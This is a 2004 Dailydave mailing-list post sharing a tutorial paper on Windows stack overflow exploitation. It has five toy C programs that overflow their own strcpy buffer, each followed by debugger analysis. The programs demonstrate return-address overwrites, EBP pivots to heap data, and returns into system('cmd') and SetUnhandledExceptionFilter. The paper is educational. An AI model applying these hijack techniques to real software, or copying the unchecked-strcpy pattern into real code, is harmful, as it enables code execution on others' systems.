Dailydave mailing list archives
anonymized stack overflow paper
From: Dave Aitel <dave () immunitysec com>
Date: Sat, 31 Jan 2004 19:29:26 -0500
begin anonymized content Wassup peeps... Companion to the heap exploitation paper... Nothing serious in this one just some fun... ---------------------------------------------------------------------- + Windows Stack Overflow Exploitation ---------------------------------------------------------------------- This is not a 'complete' guide to windows stack overflows. It includes sample code and technical details on how to exploit stack overflows through different ways. ---------------------------------------------------------------------- + Example - Double ret ---------------------------------------------------------------------- /* Stack based overflows Double return technique compile for release */ void doit(char* buf) { char smallbuf[10]; memset(smallbuf,0x0,sizeof(smallbuf)); printf("strcpy\n"); //_asm int 3; _asm nop; strcpy(smallbuf,buf); } int main(int argc,char *argv[]) { char buf[100]; printf("+ Stack based overflow\n+ Double return\n"); memset(buf,0x0,sizeof(buf)); // The double return memset(buf,0xcc,12); // 12 bytes strcat(buf,"\x64\x64\x64\x64"); // SET EBP strcat(buf,"\x3e\x10\x40\x00"); // SET EIP to ret 0x0040103e doit(buf); printf("+ done\n"); return 0; } ---------------------------------------------------------------------- * Analysis ---------------------------------------------------------------------- After the call to strcpy code execution reaches this point. - Code Segment 00401039 pop edi 0040103A pop esi 0040103B mov esp,ebp 0040103D pop ebp 0040103E ret When execution reaches the ret statement things now look like this. - Registers EAX = 00000014 EBX = 00000004 ECX = 00000000 EDX = 0012FEF8 ESI = 00406044 EDI = 0012FF34 EIP = 0040103E ESP = 0012FF08 EBP = 64646464 EFL = 00000246 -Stack Dump 0012FF08 0040103E 0012FF20 0012FF10 00406050 00000000 - Code Segment 0040103E ret Our return address of 0x40103e will be popped off the stack and execution will continue with another ret command. At this time the stack will look like this. -Stack Dump 0012FF0C 0012FF20 00406050 0012FF14 00000000 00000000 The stack now holds the address of a buffer with our data, and by returning to it execution flow is passed back us. -Data Dump 0x0012FF20 0012FF20 CCCCCCCC CCCCCCCC 0012FF28 CCCCCCCC 64646464 0012FF30 0040103E 00000000 ---------------------------------------------------------------------- + Example - Double ret/pop ---------------------------------------------------------------------- /* Stack based overflow Double return pop stack first compile for release */ void doit(int flag,char* buf) { char smallbuf[10]; memset(smallbuf,0x0,sizeof(smallbuf)); printf("+ strcpy\n"); //_asm int 3; _asm nop; strcpy(smallbuf,buf); } int main(int argc,char *argv[]) { char buf[100]; printf("+ Stack based overflow\n+ Double return/pop\n"); memset(buf,0x0,sizeof(buf)); memset(buf,0xCC,12); // 12 bytes strcat(buf,"\x64\x64\x64\x64"); // SET EBP strcat(buf,"\x3d\x10\x40\x00"); // SET EIP to 0040103D doit(1,buf); printf("+done\n"); return 0; } ---------------------------------------------------------------------- * Analysis ---------------------------------------------------------------------- After the call to strcpy code execution reaches this point. - Code Segment 00401039 pop edi 0040103A pop esi 0040103B mov esp,ebp 0040103D pop ebp 0040103E ret When execution reaches the ret statement things now look like this. - Registers EAX = 00000014 EBX = 00000004 ECX = 00000000 EDX = 0012FEF4 ESI = 00406048 EDI = 0012FF34 EIP = 0040103E ESP = 0012FF04 EBP = 64646464 EFL = 00000246 -Stack Dump 0012FF04 0040103D 00000001 0012FF0C 0012FF20 00406054 0012FF14 00000000 00000000 0012FF1C 7FFDF000 CCCCCCCC 0012FF24 CCCCCCCC CCCCCCCC 0012FF2C 64646464 0040103D - Code Segment 0040103E ret Our return address of 0x40103D will be popped off the stack and execution will continue with a pop and then another ret command. At this time the stack will look like this. -Stack Dump 0012FF0C 0012FF20 00406054 0012FF14 00000000 00000000 0012FF1C 7FFDF000 CCCCCCCC 0012FF24 CCCCCCCC CCCCCCCC 0012FF2C 64646464 0040103D The stack now holds the address of a buffer with our data, and by returning to it execution flow is passed back us. -Data Dump 0x0012FF20 0012FF20 CC CC CC CC CC ÌÌÌÌÌ 0012FF25 CC CC CC CC CC ÌÌÌÌÌ 0012FF2A CC CC 64 64 64 ÌÌddd 0012FF2F 64 3D 10 40 00 d=.@. ---------------------------------------------------------------------- + Example - SET EBP / Return to heap ---------------------------------------------------------------------- /* Stack based overflow SET EBP / Return to heap compile for release */ void doit(char* buf) { char smallbuf[10]; memset(smallbuf,0x0,sizeof(smallbuf)); printf("+ strcpy\n"); //_asm int 3; _asm nop; strcpy(smallbuf,buf); } char* a; int main(int argc,char *argv[]) { char buf[100]; printf("+ Stack based overflow\n+ Using EBP\n"); _asm int 3; //_asm nop; a = malloc(5000); memset(buf,0x0,sizeof(buf)); memset(buf,0xcc,12); // 12 bytes strcat(buf,"\xa0\x6a\x40"); // SET 3 bytes of EBP to 0x406aa4 - 4 strcpy(a,buf); // Put our buffer somewhere doit(buf); printf("+ done\n"); return 0; } ---------------------------------------------------------------------- * Analysis ---------------------------------------------------------------------- After the call to strcpy code execution reaches this point. - Code Segment 00401039 pop edi 0040103A pop esi 0040103B mov esp,ebp 0040103D pop ebp 0040103E ret When execution reaches the pop ebp statement things now look like this. - Registers EAX = 00000010 EBX = 00000004 ECX = 00000000 EDX = 0012FEF0 ESI = 0012FF2C EDI = 002F61C8 EIP = 0040103D ESP = 0012FEFC -Stack Dump 0012FEFC 00406AA0 004010D4 0012FF04 0012FF1C 00001388 0012FF0C 00406048 00000000 0012FF14 00000000 7FFDF000 0012FF1C CCCCCCCC CCCCCCCC 0012FF24 CCCCCCCC 00406AA0 - Code Segment 0040103D pop ebp 0040103E ret Our address of 0x406AA0 will be popped off the stack into EBP. Execution will then continue as normal because we have not overwritten more of the stack, affecting ESP. We have set EBP to the local address holding the address of the heap where our data is stored, -4 to compensate for a later pop instruction. -Data Dump 0x00406AA0 00406AA0 00000001 002F61B8 00406AA8 000004E4 00000000 00406AB0 00000000 00000000 -Data Dump 0x002F61B8 002F61B8 CC CC CC CC CC ÌÌÌÌÌ 002F61BD CC CC CC CC CC ÌÌÌÌÌ 002F61C2 CC CC A0 6A 40 ÌÌ j@ Execution flow continues as normal untill it reaches this segment. -Code Segment 004010E6 mov esp,ebp 004010E8 pop ebp 004010E9 ret At this point ESP is set to our EBP value, a new EBP is popped and then a return address is popped. -Stack Dump 00406AA0 00000001 002F61B8 00406AA8 000004E4 00000000 The address of the heap will be popped from the stack,and execution flow is passed back us. -Data Dump 0x002F61B8 002F61B8 CC CC CC CC CC ÌÌÌÌÌ 002F61BD CC CC CC CC CC ÌÌÌÌÌ 002F61C2 CC CC A0 6A 40 ÌÌ j@ ---------------------------------------------------------------------- + Example - Return into system() ---------------------------------------------------------------------- /* Stack based overflow Return to lib-c SYSTEM() compile for release */ #pragma comment (lib,"msvcrt") void doit(int flag,char* buf) { char smallbuf[10]; memset(smallbuf,0x0,sizeof(smallbuf)); printf("+ Executing strcpy()\n"); //_asm int 3; _asm nop; strcpy(smallbuf,buf); } int main(int argc,char *argv[]) { char buf[100]; printf("+ Stack based overflow\n+ Return to system()\n"); memset(buf,0x0,sizeof(buf)); strcpy(buf,"cmd "); // 12 bytes strcat(buf,"\x64\x64\x64\x64"); // SET EBP strcat(buf,"\xbf\x8e\x01\x78"); // Return Address Set To system() doit(12,buf); printf("+ done\n"); return 0; } ---------------------------------------------------------------------- * Analysis ---------------------------------------------------------------------- After the call to strcpy code execution reaches this point. - Code Segment 00401039 pop edi 0040103A pop esi 0040103B mov esp,ebp 0040103D pop ebp 0040103E ret When execution reaches the ret statement things now look like this. - Registers EAX = 00000015 EBX = 00000005 ECX = 00000000 EDX = 0012FEC0 ESI = 00403035 EDI = 0012FF01 EIP = 0040103E ESP = 0012FED0 EBP = 64646464 EFL = 00000202 -Stack Dump 0012FED0 78018EBF 00000000 0012FED8 0012FEEC 00403050 0012FEE0 00000000 00000000 - Code Segment 0040103E ret Our return address of 0x78018ebf (system) will be popped off the stack and execution will flow directly into the system() call. At this time the stack will look like this. -Stack Dump 0012FED4 00000000 0012FEEC 0012FEDC 00403050 00000000 At this time the stack holds the function return address (0x00000000) and the offset of the string to pass to the system function (0x0012feec) -Data Dump 0x0012feec 0012FEEC 63 6D 64 20 20 cmd 0012FEF1 20 20 20 20 20 0012FEF6 20 20 64 64 64 ddd 0012FEFB 64 BF 8E 01 78 ---------------------------------------------------------------------- + Example - Return into SetUnhandledExceptionFilter() ---------------------------------------------------------------------- /* Stack based overflow Return to lib-c SetUnhandledExceptionFilter compile for release. debug with softice and i3here on */ #include <windows.h> void doit(int flag,char* buf) { char smallbuf[10]; memset(smallbuf,0x0,sizeof(smallbuf)); printf("+ strcpy\n"); //_asm int 3; _asm nop; strcpy(smallbuf,buf); } int main(int argc,char *argv[]) { char buf[100]; printf("+ Stack based overflow\n+ Return to SetUnhandledExceptionFilter()\n"); memset(buf,0x0,sizeof(buf)); memset(buf,0xcc,12); // 12 Bytes strcat(buf,"\x64\x64\x64\x64"); // SET EBP strcat(buf,"\xa3\xba\x59\x7c"); // SET EIP strcat(buf,"\x62\x62\x62"); // SET 2nd EIP to cause exception doit(12,buf); printf("+ done\n"); return 0; } ---------------------------------------------------------------------- * Analysis ---------------------------------------------------------------------- After the call to strcpy code execution reaches this point. - Code Segment 00401039 pop edi 0040103A pop esi 0040103B mov esp,ebp 0040103D pop ebp 0040103E ret When execution reaches the ret statement things now look like this. - Registers EAX = 00000018 EBX = 00000004 ECX = 00000000 EDX = 0012FEF4 ESI = 00406048 EDI = 0012FF38 EIP = 0040103E ESP = 0012FF04 EBP = 64646464 EFL = 00000246 -Stack Dump 0012FF04 7C59BAA3 00626262 0012FF0C 0012FF20 00406058 0012FF14 00000000 00000000 0012FF1C 7FFDF000 CCCCCCCC 0012FF24 CCCCCCCC CCCCCCCC 0012FF2C 64646464 7C59BAA3 - Code Segment 0040103E ret Our return address of 0x7C59BAA3 (SetUnhandled..) will be popped off the stack and execution will flow directly into the call. At this time the stack will look like this. -Stack Dump 0012FF08 00626262 0012FF20 0012FF10 00406058 00000000 0012FF18 00000000 7FFDF000 0012FF20 CCCCCCCC CCCCCCCC 0012FF28 CCCCCCCC 64646464 0012FF30 7C59BAA3 00626262 At this time the stack holds the function return address (0x00626262) and the offset of the string to pass to the system function (0x0012FF20) -Data Dump 0x0012FF20 0012FF20 CC CC CC CC CC ÌÌÌÌÌ 0012FF25 CC CC CC CC CC ÌÌÌÌÌ 0012FF2A CC CC 64 64 64 ÌÌddd 0012FF2F 64 A3 BA 59 7C d£ºY| 0012FF34 62 62 62 00 00 bbb.. INC, IAC end anonymized content _______________________________________________ Dailydave mailing list Dailydave () lists immunitysec com http://www.immunitysec.com/mailman/listinfo/dailydave
Current thread:
- anonymized stack overflow paper Dave Aitel (Jan 31)